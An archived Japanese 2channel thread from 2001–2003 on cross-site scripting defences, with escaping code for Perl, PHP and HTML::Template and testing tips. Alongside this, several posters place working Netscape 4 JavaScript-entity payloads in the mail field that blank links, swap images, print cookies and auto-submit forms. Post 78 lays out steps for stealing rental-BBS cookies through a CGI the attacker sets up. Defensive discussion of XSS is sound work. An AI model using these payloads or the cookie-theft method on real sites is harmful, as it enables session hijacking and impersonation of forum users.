クロスサイトスクリプティング対策 (114レス)
1-

1: 名無しさん@お腹いっぱい。 01/10/27 10:37 ID:AENF9z2S(1/2) AAS
外部リンク[pdf]:securit.etl.go.jp

簡単にいって、フォームの入力をサーバサイドで処理してHTMLと
して出力する時に、文字のエスケープを適切に行わないと、
Cookieを取得するJavaScriptを埋め込み&出力結果を別サイトに
リダイレクトする、というような方法を使ってCookieを第三者に
盗まれる可能性がある、ということです。

上の資料を参考にしながら、
それぞれの処理系における、どのようの文字列エスケープを行うべきか、
といったサーバサイドの対策に関する情報を交換していきたいと思います。
2
(1): 名無しさん@お腹いっぱい。 01/10/27 11:07 ID:AENF9z2S(2/2) AAS
とりあえずは、Perlの場合で、BBSやチャットだと、
一番カタイのはタグ禁止ということにして<,>を文字実体参照に変換してしまう
のが手っ取り早いと思います。
3: 名無しさん@お腹いっぱい。 01/10/28 03:25 ID:ZO04qCcD(1) AAS
セキュリティ板に載ってました、クロスサイトスクリプティング脆弱性の
最近の具体例が。
外部リンク[html]:memo.st.ryukoku.ac.jp
のArticle 1756。見ればわかりますがHTMLタグのエスケープ処理を
忘れてるものと思われます。<SCRIPT>タグなんか埋め込まれた日には
色々悪さされそうです。
4
(1): 名無しさん@お腹いっぱい。 01/11/02 23:53 ID:bu2IICno(1) AAS
本気で対策したい人たちが読むことを期待して。
少なくともFORMから入力されたパラメタは、全て読み込んだ時点で
実体参照に置換してしまう(汚染チェックも行う)。
s/&/&/g
s/</</g
s/>/>/g
s/"/"/g
URLやHTTPヘッダもそうするべきだけど、そこまでは辛いか?後は比較などで、
元の文字列でなければ困るところだけ、一時的に元に戻すようにする。
s/</</g
s/>/>/g
s/"/"/g
s/&/&/g
(上記は2chがちゃんと処理してなかった場合ちゃんと見えないかも。
面倒なんでその場合はページのソースを見てください)
必要な箇所での戻し忘れがあった場合の不都合は、比較的簡単に目に見えるので
どってこたない。置換を忘れた場合は見つけにくい上にセキュリティ問題になる
ことを考えれば、これくらい徹底した方がいいのでは?
5: 名無しさん@お腹いっぱい。 01/11/03 00:20 ID:zLquoryW(1) AAS
男は黙って tr/\W//d
6: 4 [" on%00mouseover="alert('aa')] 01/11/03 00:48 ID:??? AAS
s/&/&amp;/g
s/</&lt;/g
s/>/&gt;/g
s/"/&quot;"/g
だ。下のは
s/&amp;/&/g
s/&lt;/</g
s/&gt;/>/g
s/&quot;"/"/g
ふー…ちゃんと&と"も置換してよ。
7: age [%00%22] 01/11/03 00:52 ID:??? AAS
age
8: age [&age'] 01/11/03 17:57 ID:??? AAS
age
9
(1): 名無しさん@お腹いっぱい。 [&{alert('Hello')};] 01/11/03 19:10 ID:??? AAS
&をエスケープしないのはヤバーイよ!
ネスケ4で見てね。
10
(2): 9 [&{var a='http://gotonext.cool.ne.jp/gazou/hiroyuki4.jpg'};] 01/11/03 19:17 ID:??? AAS
つづく
11: 10 [&{document.images[0].src=a};] 01/11/03 19:17 ID:??? AAS
こんなことも(;´Д`)
12
(2): 10 [&{var a='http://www.nurs.or.jp/~nspixp/neomugicha/'};] 01/11/03 19:24 ID:??? AAS
シパーイシターヨ
13
(2): 12 [&{document.images[0].src=a+'newsstation/aaa.jpg'};] 01/11/03 19:25 ID:??? AAS
これでどーよ、ネスケ4
14: 名無しさん@お腹いっぱい。 01/11/04 14:11 ID:??? AAS
神が降臨シテルヨ
15: 神じゃないけど [&{alert('降臨')};] 01/11/05 23:36 ID:??? AAS
ネスケで見てる人はあまりいなかったのかage
16: 名無しさん@お腹いっぱい。 01/11/05 23:40 ID:gvBrmPxu(1) AAS
真の神は、やっぱりMSのPassportでしょ。

外部リンク[html]:www.zdnet.co.jp
17: 名無しさん@お腹いっぱい。 01/11/06 01:05 ID:??? AAS
神はみんなに平等にcookieを読む権利を与えたのだ
18: 名無しさん@お腹いっぱい。 01/11/06 01:28 ID:??? AAS
パンが無ければCookieを食べればいいじゃない。
19: 01/11/06 13:33 ID:hz5ky/YY(1) AAS
くそ・・・ネスケ4で見たら落ちたよ(涙)
20
(1): 名無しさん@お腹いっぱい。 01/11/06 15:28 ID:??? AAS
>>13
そーいや、それについての警告を見た事無いな。
何処かに名文ないものかな?
21
(1): 名無しさん@お腹いっぱい。 01/11/06 16:19 ID:8Is73jkR(1) AAS
>>20
これとか:
外部リンク:www.securityfocus.com
この著者は先日MicrosoftのPassportの問題を指摘した人物。
Apache Softoware Foundationのメンバーで、1.3.11の同脆弱性を直した人。
22
(2): 名無しさん@お腹いっぱい。 01/11/09 00:12 ID:ShSwDwY3(1) AAS
いや明日仕事で、うちの会社で開発したwebサービスの
クロスサイトスクリプティング対策をやんなきゃいけなくって、
できる限りヤバーイのを発見しないといけないんだけどさー、
どうするのがいいかねぇ。
23: 名無しさん@お腹いっぱい。 01/11/09 00:42 ID:??? AAS
>>21
英語か:-(
誰か和訳してくれないものかな。
24: 名無しさん@お腹いっぱい。 01/11/09 21:56 ID:QF/0zNjv(1/2) AAS
>22
まず、実体参照への変換関数(メソッド)を固定の記号に置き換えて返すように変更して実行してみる。
例えば"====================="とか。
そして、フォームの全てのパラメタに"**************************************************"とかの
目立つ文字列を入れてみて、後者がブラウザ上に現れたらアウト。
※hiddenフィールドもチェックしないとね

ただしそれだけだと、URLやHTTPヘッダのチェックが見落としやすいな…。
URL等をブラウザに表示している箇所は、"*********..."が表示されるはずだからそうなっていない
生のURLやUser-Agent等のヘッダの文字列が表示されていたらアウトなわけだけど…。
25: 名無しさん@お腹いっぱい。 01/11/09 21:57 ID:QF/0zNjv(2/2) AAS
後は全エラー画面をチェックしないといけないが、これは画面よリソースをチェックした方が早いだろうなぁ。
26
(1): 名無しさん@お腹いっぱい。 [age] 01/11/09 23:25 ID:??? AAS
PHP 使ってますが。
フォームからのものとか、REMOTE_ADDR、REMOTE_HOSTなど
すべて strip_tags() してますが、安全でしょうか?
27
(1): 名無しさん@お腹いっぱい。 01/11/10 00:07 ID:9tmYIcvX(1) AAS
たぶん。としかいえんなぁ。変換関数が組み込みのものだと24に書いたみたいなテスト方法は駄目だね。
要はそれを忘れてないかどうかが問題なので。
環境変数等から変数に代入する時点で変換するというポリシーが貫けているなら、
この問題に対してはほぼ安全と思う。
28: 26 01/11/10 00:58 ID:??? AAS
>>27
とりあえずhiddenを含め全部やってるはずなので、一応安心しておきます。
29
(1): cookieが表示されない [jab1@lists.em5000.com] 01/11/12 16:46 ID:??? AAS
セキュリティホール memo
外部リンク:www.st.ryukoku.ac.jp
MS01-055: Cookie Data in IE Can Be Exposed or Altered Through Script Injection (セキュリティアンテナ, 2001.11.09)にあるデモ

外部リンク:www.solutions.fi
でamazon.co.jpを読むと(事前にamazon.co.jpのcookieを取り込んである)
MSIE cookie vulnerability test page
This page displays the cookies found on your browser for site amazon.co.jp:
Cookies:
No cookies found for site...
Click here to make new search for cookies.
−−−−−
アクティブスクリプトに対して「プロンプトを表示」で表示されたら
はい(Y)を選択する。
こんなダイアログ−画像リンク[png]:www.st.ryukoku.ac.jp
−−−−−
アクティブスクリプトを実行しなければ "; document.location=url; と表示される。
−−−−−
デモが表示された後、「戻る」と
警告: ページの有効期限切れ 要求したページは、フォームで送信された情報を使用して作成されました。このページは、もう利用できません。セキュリティ保護のため、情報は自動的には再送信されません。
情報を再送信し、この Web ページを表示するには、ツール バーの [更新] ボタンをクリックしてください。 となる。
30: 名無しさん@お腹いっぱい。 01/11/12 17:13 ID:??? AAS
>>29
IE5.5とIE6しか再現しないそうだ
31: >30 [jab1@lists.em5000.com] 01/11/12 18:24 ID:??? AAS
IEは5.01SP2です。
外部リンク[asp]:www.microsoft.com
によると、
テストしたバージョン :
マイクロソフトは Internet Explorer 5.5 SP2 および 6 のテストを行い、これらの脆弱性による影響を評価しました。それ以前のバージョンに関してはサポート (英語情報) の対象となっていないため、この脆弱性による影響は不明です。
とのこと。
ということは、5.01でも危険ということだろうか。
32: 名無しさん@お腹いっぱい。 [age] 01/11/26 07:56 ID:??? AAS
age
33: 名無しさん@お腹いっぱい。 01/12/17 07:29 ID:BojNQSph(1) AAS
age
34: テスト 01/12/19 07:01 ID:RLJpoDQa(1) AAS
外部リンク:pc.2ch.net
35: テスト 01/12/19 07:06 ID:??? AAS
外部リンク:pc.2ch.net
36: 名無しさん@お腹いっぱい。 [age] 02/01/12 14:08 ID:??? AAS
age
37:   02/01/26 08:50 ID:SUrQysHb(1) AAS
a
38
(1): 名無しさん@お腹いっぱい。 02/01/26 11:51 ID:??? AAS
こんなのmail欄に入れたらどうなるんだろう?
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
39: 名無しさん@お腹いっぱい。 02/01/26 13:20 ID:??? AAS
>38
自分でやってみてよ(笑)
40
(2): 名無しさん@お腹いっぱい。 02/01/26 13:47 ID:??? AAS
メール欄が長すぎます・・・だって(笑)

&{for(var i=0;document.links[i];i++)document.links[i].href='';};
これは大丈夫やった。
41
(1): 名無しさん@お腹いっぱい。 02/01/26 14:05 ID:??? AAS
>40
どこでやってきたの?(笑)
42
(1): 名無しさん@お腹いっぱい。 02/01/26 17:32 ID:??? AAS
>>41
色んなところ。反応が一つもないところを見ると
NN4でスクリプトONにしてる奴、あんまおらんのかな?
43: 名無しさん@お腹いっぱい。 [&{document.write(document.cookie)};] 02/01/26 22:09 ID:??? AAS
age
44: 名無しさん@お腹いっぱい。 [<script>document.write(l(null));</script>] 02/01/26 22:19 ID:??? AAS
age
45
(1): ネスケ4.7使用者 02/01/27 10:13 ID:??? AAS
>>42
ひいい・・・・2ちゃんで窓が出たよう・・・。
46: 名無しさん@お腹いっぱい。 02/01/27 10:17 ID:??? AAS
>45
(笑)
47: 仕様書無しさん 02/01/27 23:08 ID:??? AAS
>>40
分割すればいいみたい。>>12>>13
48: 名無しさん@お腹いっぱい。 [&{for(var i=0;document.links[i];i++)document.links[i].href='';};] 02/02/06 03:45 ID:??? AAS
テスト
49: 名無しさん@お腹いっぱい。 02/02/06 03:46 ID:dMmdiZ7p(1) AAS
大手検索サイトに見るクロスサイトスクリプティングの脆弱性の実態(2002.2.4)
外部リンク[html]:www.netsecurity.ne.jp
50: テスト [&{f=document.forms;}] 02/02/08 00:23 ID:??? AAS

51: テスト [&{for(i=0;f[i];i++)f[i].elments[4].value='fusianasan';}] 02/02/08 00:28 ID:??? AAS

52
(1): 名無しさん@お腹いっぱい。 02/02/08 13:44 ID:??? AAS
>日本でもWebサイトに関する最初のインシデントとして記録されているのは、1997年に総務省の掲示板にタグ
>が書き込まれ、その掲示板を閲覧しようすると、オウム真理教の音楽が外部サイトから読み込まれて鳴るよう
>になったという事件であり、このようにクロスサイトスクリプティングの脆弱性は古くから存在する問題である。

タグ可の掲示板はみんな着尺製ありだな
2chスレ:sec
53: 名無しさん@お腹いっぱい。 02/02/09 01:21 ID:??? AAS
F=Function;fs=document.forms;

l0=new F('f=fs[fs.length-1]');
l1=new F('es=f.elements;');
l2=new F('a=es[0];b=es[2];');
l3=new F('c=es[3];d=es[4];');
l4=new F('a.value=navigator.userAgent;');
l5=new F('b.value=\'fusianasan\';');
l6=new F('c.value=\'\';');
l7=new F('d.value=\' \';');

l8=new F('es[1].click();');

lx=new F('l0();l1();l2();l3();');
ly=new F('l4();l5();l6();l7();');
lz=new F('l8();');

l=new F('lx();ly();lz();');window.onload=l;
54
(1): 名無しさん@お腹いっぱい。 02/02/12 11:32 ID:??? AAS
>>52
>着尺製

読めない…。
55
(1): 名無しさん@お腹いっぱい。 02/02/12 11:44 ID:??? AAS
>>54
> >着尺製
「脆弱性」の (2ch的?) 誤読だと思われ。

正しくは「もろよわせい」と読むらしい。
56: 名無しさん@お腹いっぱい。 02/02/12 12:06 ID:??? AAS
>>55
2chスレ:sec
2chスレ:sec
57: 名無しさん@お腹いっぱい。 [age] 02/02/12 22:55 ID:??? AAS
>>22
で、22はお腹いっぱいヤバゲなの見つかったのかな?
SSLなページの確認はメンドーでないかい? >all
アホプログラマーの重箱の隅つつくのも疲れてきたぞ。(藁
58: 名無しさん@お腹いっぱい。 [もろよわ] 02/02/19 00:17 ID:??? AAS
> SSLなページの確認はメンドーでないかい?

なぜに?
59: 57 [age] 02/02/19 01:53 ID:??? AAS
漏れがバカだから。とりあえずパケットキャプチャーしてどんな内容送ってるのか見ようと思うんだけど。
IEなんかのクライアントで見て、値が固定されてるもののテストってどうしてますか?
例えば買い物の個数とかサーバ側でエスケープ処理してるか確認したい訳で。
POSTメソッドの値を色々試すのに良いツールってないですかねぇ。HTMLエディタで書き換える?
60
(1): 名無しさん@お腹いっぱい。 02/02/19 02:02 ID:??? AAS
外部リンク:www.mountsystem.ne.jp
ここのTantanCGI
61: 57 [age] 02/02/19 07:49 ID:??? AAS
>>60
すっ、すばらしい...。ありがとう御座います。感謝感激!
これでもっと重箱の隅つっけそうです。(藁
62: a 02/06/27 00:50 ID:awVCb82d(1) AAS
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
63: 02/12/06 16:58 ID:??? AAS
ここで配布してるスクリプトも脆弱性の問題あり?

外部リンク[zip]:www.onpuch.jp
64: 03/01/10 01:43 ID:QhQLqNIU(1) AAS
Struts使おう。
65: 山崎渉 [(^^)sage] 03/01/16 03:36 ID:??? AAS
(^^)
66: 奥さん ◆mL2ZRk1cK. 03/01/18 07:27 ID:AxdRMTC9(1/9) AAS
d
67: 奥さん ◆0Z6Yhsb88E 03/01/18 07:27 ID:AxdRMTC9(2/9) AAS
aq
68: 奥さん ◆E39m/9K3xY 03/01/18 07:28 ID:AxdRMTC9(3/9) AAS
qwe
69: 奥さん ◆8WgvSovIKg 03/01/18 07:28 ID:AxdRMTC9(4/9) AAS
qwer
70: 奥さん ◆ABM5odHy/Q 03/01/18 07:29 ID:AxdRMTC9(5/9) AAS
12345
71: 奥さん ◆bc.v5kgifQ 03/01/18 07:30 ID:AxdRMTC9(6/9) AAS
hfjfjf
72: 奥さん ◆IGEMrmvKLI 03/01/18 07:31 ID:AxdRMTC9(7/9) AAS
vbncnnb
73: 奥さん ◆tsGpSwX8mo 03/01/18 07:31 ID:AxdRMTC9(8/9) AAS
hhhhhhhh
74: 奥さん ◆Mjk4PcAe16 03/01/18 07:32 ID:AxdRMTC9(9/9) AAS
fhfhfhfhfh
75: [ ] 03/01/19 15:22 ID:??? AAS
荒らされてる
76: [hoge] 03/01/19 15:58 ID:??? AAS
XSS対策のひとつとして、「エスケープ処理」がある。
これはCGIが扱うパラメータが多くなってくると、ついつい忘れてしまう煩雑で面倒な処理だが、
もしあなたがPerlユーザなら、HTML::Templateを使うことによってエスケープを
テンプレート側に記述し、プログラム側から完全に追い出してしまうことができる。

<input type="hidden" value="<tmpl var="aniti_xss_value" escape="url">">
<input type="text" value="<tmpl var="aniti_xss_text" escape="html">">

最後のescape属性に注目だ。これを指定してやるだけで、
テンプレートにセットした変数は適切にエスケープされるようになる。
もう、escape関数を呼びまくる必要はないんだ!ひゃっほう!

ps.この情報がXSS対策に頭を悩ますCGI製作者の助けになることを祈ってるよ。
77: 03/01/19 16:01 ID:??? AAS
ヽ(゚∀゚)ノヒャホー
78: 03/01/21 19:45 ID:eVlnRoM0(1) AAS
対策ではなくクキー盗む方法なのだが。
JBBSなどレンタル系の掲示板で使える。(htmlにログを表示して、javascriptでクッキーを読み出すもの)
レンタル系の掲示板は、自分が書き込んだ掲示板以外の板にもクッキーが適応されるところが多い。
(たとえば、外部リンク:jbbs.shitaraba.comに書き込むと外部リンク:jbbs.shitaraba.comの板にも適応される。)
これを利用して、自分の掲示板に書き込まれなくてもクッキーに入っているデータを取得できる。

具体的方法として
1.GET(QUERY_STRING)からのデータをテキストに保存するCGIを作成し、適当なフリーサーバに設置
2.ターゲットと同じレンタルBBSを借りる。
3.HTMLクッキー取得部分を調べてjavascriptで1のCGIに渡す。
4.ターゲットの掲示板にそれらしい理由を付けてカキコ
79: 03/01/21 23:40 ID:ByrQNqOs(1) AAS
クッキーのpathを / とかにしてるんだろうね。
名前が漏れるくらいはなんでもないけど
トリップやキャップもクッキーに入ってるとなりすましが出来ると。
80
(1): 03/01/26 15:26 ID:??? AAS
XSS 脆弱性で Basic 認証のパスワードも盗まれるらしいぞ
外部リンク[html]:memo.st.ryukoku.ac.jp
(((;゚Д゚))ガクガクブルブル
81: 03/01/28 20:54 ID:wWZkstRp(1) AAS
>>80
ウゲ
でも
> サーバのTRACEメソッドが機能している場合
ってどういう場合なの?
82: 山崎渉 [(^^)] 03/04/17 12:26 ID:??? AAS
(^^)
1-
あと 32 レスあります
スレ情報 赤レス抽出 画像レス抽出 歴の未読スレ AAサムネイル

ぬこの手 ぬこTOP 0.160s